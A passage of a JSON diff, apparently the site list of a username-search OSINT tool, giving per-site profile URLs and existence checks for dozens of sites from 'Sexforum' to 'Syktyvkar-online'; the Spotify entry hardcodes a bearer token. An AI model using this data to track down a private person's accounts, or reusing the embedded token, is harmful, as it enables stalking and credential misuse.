"noonewouldeverusethis7", + "disabled": true + }, + "SexforumIXBB": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 420919, + "urlMain": "http://sexforum.ixbb.ru", + "url": "http://sexforum.ixbb.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "lcf", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sexopedia": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "alexaRank": 6491400, + "urlMain": "http://new.sexopedia.ru", + "url": "http://new.sexopedia.ru/club/search.php?flt_login={username}", + "usernameClaimed": "Ikzu", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Sexwin": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 5812338, + "urlMain": "https://sexforum.win", + "url": "https://sexforum.win/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "foks67", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sfd.pl": { + "checkType": "message", + "absenceStrs": [ + "Brak aktywnego profilu na forum" + ], + "presenseStrs": [ + "Tematy u\u017cytkownika" + ], + "url": "https://www.sfd.pl/profile/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Shazoo": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 57278, + "urlMain": "https://shazoo.ru", + "url": "https://shazoo.ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ShaniiWrites": { + "checkType": "message", + "absenceStrs": [ + "The requested URL or resource could not be found." + ], + "presenseStrs": [ + "topics" + ], + "url": "https://forum.shanniiwrites.com/u/{username}/summary.json", + "usernameClaimed": "chococarmela", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ShiftDelete": { + "disabled": true, + "tags": [ + "forum", + "tr" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36" + }, + "engine": "XenForo", + "alexaRank": 2456, + "urlMain": "https://forum.shiftdelete.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Shikimori": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 20872, + "urlMain": "https://shikimori.one", + "url": "https://shikimori.one/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ShitpostBot5000": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 924499, + "urlMain": "https://www.shitpostbot.com/", + "url": "https://www.shitpostbot.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Shoe": { + "checkType": "message", + "presenseStrs": [ + "can only be viewed by SHOE members" + ], + "absenceStrs": [ + "This nickpage is temporary not available or no longer exists." + ], + "urlMain": "http://shoe.org", + "url": "http://{username}.shoe.org/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 6235117 + }, + "Shophelp": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 348270, + "urlMain": "https://shophelp.ru/", + "url": "https://shophelp.ru/profile/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Shoppingzone": { + "tags": [ + "ru" + ], + "errors": { + "\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0438\u0441\u043a \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e": "Too many searhes per IP" + }, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 301890, + "urlMain": "http://shoppingzone.ru", + "url": "http://shoppingzone.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "eleonor", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Shotbow": { + "disabled": true, + "tags": [ + "ca", + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 1487736, + "urlMain": "https://shotbow.net", + "usernameClaimed": "velb", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Showme": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 113043, + "urlMain": "https://www.showme.com", + "url": "https://www.showme.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Shutterstock": { + "tags": [ + "music", + "photo", + "stock", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This surprising...", + "Unfortunately, we can't find what you're looking for.", + "Not Found | Shutterstock" + ], + "presenseStrs": [ + "{username}", + "Information" + ], + "alexaRank": 184, + "urlMain": "https://www.shutterstock.com", + "url": "https://www.shutterstock.com/g/{username}/about", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Signal": { + "tags": [ + "forum", + "tech" + ], + "engine": "Discourse", + "alexaRank": 854551, + "urlMain": "https://community.signalusers.org", + "usernameClaimed": "jlund", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Silver-collector": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "urlMain": "https://www.silver-collector.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 9494921 + }, + "Skeb.jp": { + "checkType": "message", + "absenceStrs": [ + "Skeb - Request Box" + ], + "presenseStrs": [ + ") | Skeb" + ], + "url": "https://skeb.jp/@{username}", + "usernameClaimed": "eipuru_", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SkodaForum": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://www.skodaforum.ru", + "usernameClaimed": "rivera", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2785680 + }, + "Skyrimforums": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 351300, + "urlMain": "https://skyrimforums.org", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Skyrock": { + "disabled": true, + "tags": [ + "fr", + "in" + ], + "regexCheck": "^[^_\\.]+$", + "checkType": "status_code", + "alexaRank": 8927, + "urlMain": "https://skyrock.com/", + "url": "https://{username}.skyrock.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SkyscraperCity": { + "tags": [ + "de", + "forum", + "pl", + "us" + ], + "engine": "XenForo", + "alexaRank": 7167, + "urlMain": "https://www.skyscrapercity.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Slack": { + "tags": [ + "messaging" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "status_code", + "alexaRank": 200, + "urlMain": "https://slack.com", + "url": "https://{username}.slack.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Slant.co": { + "checkType": "message", + "absenceStrs": [ + "404 - Page Not Found - Slant" + ], + "presenseStrs": [ + "s Profile - Slant" + ], + "url": "https://www.slant.co/users/{username}", + "usernameClaimed": "bob", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Slashdot": { + "tags": [ + "news" + ], + "errors": { + "503 - Service Offline": "Site error" + }, + "checkType": "message", + "absenceStrs": [ + "user you requested does not exist" + ], + "alexaRank": 5720, + "urlMain": "https://slashdot.org", + "url": "https://slashdot.org/~{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SlideShare": { + "checkType": "message", + "alexaRank": 158, + "urlMain": "https://www.slideshare.net", + "url": "https://www.slideshare.net/{username}", + "usernameClaimed": "KumarSurya7", + "usernameUnclaimed": "kwbmsonxvp", + "presenseStrs": [ + "user-name", + "pageInfo", + "listitem", + "polite", + "strippedTitle" + ], + "absenceStrs": [ + "blankProfile", + "username-available", + "robots", + "noindex,nofollow" + ] + }, + "Slides": { + "tags": [ + "sharing" + ], + "checkType": "status_code", + "alexaRank": 15124, + "urlMain": "https://slides.com/", + "url": "https://slides.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Smashcast": { + "disabled": true, + "tags": [ + "gr", + "us" + ], + "checkType": "status_code", + "alexaRank": 1945337, + "urlMain": "https://www.smashcast.tv/", + "url": "https://www.smashcast.tv/api/media/live/{username}", + "usernameClaimed": "hello", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Smashrun": { + "tags": [ + "br", + "jp", + "us" + ], + "checkType": "status_code", + "alexaRank": 734940, + "urlMain": "https://smashrun.com/", + "url": "https://smashrun.com/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Smogon": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found." + ], + "alexaRank": 29110, + "urlMain": "https://www.smogon.com", + "url": "https://www.smogon.com/forums/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Smugmug": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 5905, + "urlMain": "https://smugmug.com/", + "url": "https://{username}.smugmug.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Smule": { + "tags": [ + "music" + ], + "checkType": "message", + "presenseStrs": [ + "Profile: " + ], + "absenceStrs": [ + "Smule | Page Not Found (404)" + ], + "alexaRank": 11742, + "urlMain": "https://www.smule.com/", + "url": "https://www.smule.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Snbforums": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 53321, + "urlMain": "https://www.snbforums.com", + "url": "https://www.snbforums.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Snooth": { + "tags": [ + "news" + ], + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "content=\"https://www.snooth.com/author/" + ], + "alexaRank": 4088489, + "urlMain": "https://www.snooth.com/", + "url": "https://www.snooth.com/author/{username}/", + "usernameClaimed": "joshua", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SocialLibremOne": { + "checkType": "status_code", + "alexaRank": 959007, + "urlMain": "https://social.librem.one", + "url": "https://social.librem.one/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "tech" + ] + }, + "SoftwareInformer": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 1288, + "urlMain": "https://users.software.informer.com", + "url": "https://users.software.informer.com/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Solaris-club": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 781686, + "urlMain": "https://solaris-club.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Solikick": { + "checkType": "message", + "absenceStrs": [ + "This item has been removed or is no longer available" + ], + "presenseStrs": [ + "page_guest_users-view" + ], + "url": "https://solikick.com/-{username}", + "usernameClaimed": "Edmundus", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Soloby": { + "disabled": true, + "tags": [ + "by", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + ], + "alexaRank": 8019, + "urlMain": "http://www.soloby.ru", + "url": "http://www.soloby.ru/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Soobshestva": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 8132021, + "urlMain": "http://www.soobshestva.ru/", + "url": "http://www.soobshestva.ru/forum/user/{username}/", + "usernameClaimed": "lisa", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SoundCloud": { + "tags": [ + "music" + ], + "checkType": "status_code", + "urlMain": "https://soundcloud.com/", + "url": "https://soundcloud.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 125 + }, + "Soundgym": { + "tags": [ + "il", + "in", + "us" + ], + "checkType": "response_url", + "urlMain": "https://www.soundgym.co", + "url": "https://www.soundgym.co/member/profile?m={username}", + "usernameClaimed": "raydrcougso", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 104661 + }, + "Soup": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 18850, + "urlMain": "https://soup.io", + "url": "https://www.soup.io/author/{username}", + "usernameClaimed": "cristina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SourceForge": { + "tags": [ + "coding", + "us" + ], + "checkType": "message", + "alexaRank": 444, + "urlMain": "https://sourceforge.net/", + "url": "https://sourceforge.net/u/{username}/profile", + "presenseStrs": [ + "Personal Tools" + ], + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Southklad": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 466872, + "urlMain": "https://southklad.ru", + "url": "https://southklad.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Spaces": { + "tags": [ + "blog", + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u0421\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u043e\u0434\u0430\u0440\u043e\u043a" + ], + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 49381, + "urlMain": "https://spaces.im", + "url": "https://spaces.im/mysite/index/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Spankpay": { + "checkType": "message", + "absenceStrs": [ + "<title>SpankPay.Me" + ], + "presenseStrs": [ + " - SpankPay.Me" + ], + "url": "https://spankpay.me/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Spark": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 40675, + "urlMain": "https://spark.ru", + "url": "https://spark.ru/startup/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Speakerdeck": { + "tags": [ + "in", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "User Not Found" + ], + "alexaRank": 13234, + "urlMain": "https://speakerdeck.com", + "url": "https://speakerdeck.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Speedrun.com": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Not found - Speedrun" + ], + "presenseStrs": [ + "\"user\":{\"id\":\"" + ], + "alexaRank": 9724, + "urlMain": "https://speedrun.com/", + "url": "https://speedrun.com/users/{username}", + "usernameClaimed": "3Tau", + "usernameUnclaimed": "noonewould" + }, + "SpiceWorks": { + "checkType": "status_code", + "urlMain": "https://community.spiceworks.co", + "url": "https://community.spiceworks.com/people/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "tech" + ] + }, + "Splice": { + "checkType": "status_code", + "url": "https://splice.com/{username}", + "usernameClaimed": "splice", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Splits.io": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 1037917, + "urlMain": "https://splits.io", + "url": "https://splits.io/users/{username}", + "usernameClaimed": "cambosteve", + "usernameUnclaimed": "noonewould" + }, + "Sporcle": { + "tags": [ + "gaming", + "us" + ], + "checkType": "status_code", + "alexaRank": 4509, + "urlMain": "https://www.sporcle.com/", + "url": "https://www.sporcle.com/user/{username}/people", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sportlerfrage": { + "checkType": "status_code", + "url": "https://www.sportlerfrage.net/nutzer/{username}", + "usernameClaimed": "sportlerfrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SportsTracker": { + "tags": [ + "pt", + "ru" + ], + "urlProbe": "https://api.sports-tracker.com/apiserver/v1/user/name/{username}", + "checkType": "message", + "absenceStrs": [ + "\"code\":\"404\"" + ], + "alexaRank": 235874, + "urlMain": "https://www.sports-tracker.com/", + "url": "https://www.sports-tracker.com/view_profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Spotify": { + "disabled": true, + "tags": [ + "music", + "us" + ], + "headers": { + "authorization": "Bearer BQDDk6n__YLKqIDKxBb2fvOZm6yxuOj0XeU0mCpRmBi_0UsUz2fUP-tFsl7IjT-YOCXxmvfzUMAnQ0Y4KBo" + }, + "errors": { + "Spotify is currently not available in your country.": "Access denied in your country, use proxy/vpn" + }, + "activation": { + "method": "spotify", + "marks": [ + "No token provided", + "The access token expired" + ], + "url": "https://open.spotify.com/get_access_token?reason=transport&productType=web_player", + "src": "accessToken", + "dst": "authorization" + }, + "urlProbe": "https://spclient.wg.spotify.com/user-profile-view/v3/profile/{username}?playlist_limit=10&artist_limit=10&market=EN", + "checkType": "status_code", + "alexaRank": 89, + "urlMain": "https://open.spotify.com/", + "url": "https://open.spotify.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sprashivai": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 82345, + "urlMain": "http://sprashivai.ru", + "url": "http://sprashivai.ru/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Stalker-zone": { + "tags": [ + "ru" + ], + "presenseStrs": [ + " \u0418\u043c\u044f: " + ], + "engine": "uCoz", + "alexaRank": 4258382, + "urlMain": "http://stalker-zone.info", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Star Citizen": { + "disabled": true, + "tags": [ + "de", + "us" + ], + "checkType": "status_code", + "alexaRank": 22154, + "urlMain": "https://robertsspaceindustries.com/", + "url": "https://robertsspaceindustries.com/citizens/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Star Citizens Community": { + "tags": [ + "de", + "us" + ], + "checkType": "status_code", + "urlMain": "https://robertsspaceindustries.com/", + "url": "https://robertsspaceindustries.com/community-hub/user/{username}", + "usernameClaimed": "SentinelTheFirst", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Starsonice": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 110740, + "urlMain": "https://starsonice.borda.ru", + "url": "https://starsonice.borda.ru/?32-{username}", + "usernameClaimed": "kara", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Starvault": { + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 1765371, + "urlMain": "https://starvault.se", + "url": "https://starvault.se/mortalforums/members/?username={username}", + "usernameClaimed": "xunila", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "gaming" + ] + }, + "Statistika": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://statistika.ru", + "usernameClaimed": "hamam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Steam": { + "tags": [ + "gaming" + ], + "checkType": "message", + "absenceStrs": [ + "The specified profile could not be found" + ], + "alexaRank": 379, + "urlMain": "https://steamcommunity.com/", + "url": "https://steamcommunity.com/id/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steam (by id)": { + "tags": [ + "gaming" + ], + "type": "steam_id", + "checkType": "message", + "absenceStrs": [ + "The specified profile could not be found" + ], + "alexaRank": 379, + "urlMain": "https://steamcommunity.com/", + "url": "https://steamcommunity.com/profiles/{username}", + "source": "Steam", + "usernameClaimed": "76561197960287930", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steam (Group)": { + "tags": [ + "gaming" + ], + "checkType": "message", + "absenceStrs": [ + "No group could be retrieved for the given URL" + ], + "alexaRank": 379, + "urlMain": "https://steamcommunity.com/", + "url": "https://steamcommunity.com/groups/{username}", + "source": "Steam", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steamid": { + "tags": [ + "gaming" + ], + "checkType": "message", + "absenceStrs": [ + "
    Profile not found
    " + ], + "alexaRank": 299167, + "urlMain": "https://steamid.uk/", + "url": "https://steamid.uk/profile/{username}", + "source": "Steam", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steamid (by id)": { + "tags": [ + "gaming" + ], + "type": "steam_id", + "checkType": "message", + "absenceStrs": [ + "
    Profile not found
    " + ], + "alexaRank": 299167, + "urlMain": "https://steamid.uk/", + "url": "https://steamid.uk/profile/{username}", + "source": "Steam", + "usernameClaimed": "76561197982198022", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steamidfinder": { + "tags": [ + "gaming" + ], + "checkType": "message", + "presenseStrs": [ + "se our custom tools to build a Steam profile badge" + ], + "absenceStrs": [ + "could not be found." + ], + "alexaRank": 90197, + "urlMain": "https://steamidfinder.com", + "url": "https://steamidfinder.com/lookup/{username}", + "source": "Steam", + "usernameClaimed": "channel", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steamidfinder (by id)": { + "tags": [ + "gaming" + ], + "type": "steam_id", + "checkType": "message", + "presenseStrs": [ + "se our custom tools to build a Steam profile badge" + ], + "absenceStrs": [ + "could not be found." + ], + "alexaRank": 90197, + "urlMain": "https://steamidfinder.com", + "url": "https://steamidfinder.com/lookup/{username}", + "source": "Steam", + "usernameClaimed": "76561197982198022", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Stereo": { + "tags": [ + "nl", + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 46106, + "urlMain": "https://stereo.ru/", + "url": "https://stereo.ru/user/{username}", + "usernameClaimed": "Yamiha", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Stihi.ru": { + "tags": [ + "ru", + "writing" + ], + "checkType": "message", + "absenceStrs": [ + "\u0410\u0432\u0442\u043e\u0440 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 5026, + "urlMain": "https://www.stihi.ru/", + "url": "https://www.stihi.ru/avtor/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Stoimost": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 2606124, + "urlMain": "https://stoimost.com.ua", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Storycorps": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 161477, + "urlMain": "https://archive.storycorps.org", + "url": "https://archive.storycorps.org/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Stratege": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "gaming", + "news", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 115288, + "urlMain": "https://www.stratege.ru", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Strava": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Strava | " + ], + "presenseStrs": [ + "Strava" + ], + "alexaRank": 1099, + "urlMain": "https://www.strava.com/", + "url": "https://www.strava.com/athletes/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Studfile": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "regexCheck": "^[^-]+$", + "alexaRank": 1499, + "urlMain": "https://studfile.net", + "url": "https://studfile.net/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Studwork": { + "similarSearch": true, + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u0418\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "absenceStrs": [ + "herdun" + ], + "alexaRank": 191670, + "urlMain": "https://studwork.org/", + "url": "https://studwork.org/info/{username}", + "usernameClaimed": "tmm22", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Stunited": { + "disabled": true, + "checkType": "status_code", + "alexaRank": 2446369, + "urlMain": "http://stunited.org", + "url": "http://stunited.org/profile/{username}", + "usernameClaimed": "mani-vel", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "education" + ] + }, + "Subeta": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Invalid user" + ], + "alexaRank": 895833, + "urlMain": "https://subeta.net/", + "url": "https://subeta.net/users/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SublimeForum": { + "tags": [ + "coding", + "forum", + "in" + ], + "engine": "Discourse", + "alexaRank": 9081, + "urlMain": "https://forum.sublimetext.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Sugoidesu": { + "engine": "XenForo", + "alexaRank": 5060377, + "urlMain": "https://sugoidesu.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "Suomi24": { + "tags": [ + "fi", + "jp" + ], + "checkType": "status_code", + "alexaRank": 40750, + "urlMain": "https://www.suomi24.fi", + "url": "https://www.suomi24.fi/profiili/{username}", + "usernameClaimed": "Kilgore", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Suzuri.jp": { + "checkType": "message", + "absenceStrs": [ + "404 | SUZURI" + ], + "presenseStrs": [ + "\u221e SUZURI\uff08\u30b9\u30ba\u30ea\uff09" + ], + "url": "https://suzuri.jp/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Swapd": { + "checkType": "status_code", + "url": "https://swapd.co/u/{username}", + "usernameClaimed": "swapd", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SwimmingForum": { + "tags": [ + "forum", + "ru" + ], + "engine": "uCoz", + "alexaRank": 7234157, + "urlMain": "http://forumswimming.ru", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Syktforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0422\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + ], + "urlMain": "http://syktforum.ru", + "url": "http://syktforum.ru/profile/{username}", + "usernameClaimed": "TonyT", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SyktyvkarOnline": { + "tags": [ + "ru" + ], + "errors": { + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u043a\u0443\u043d\u0434": "Verification redirect page" + }, + "checkType": "message", + "absenceStrs": [ + "", + "error404-404" + ], + "urlMain": "http://syktyvkar-online.ru", + "url": "http://syktyvkar-online.ru/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", 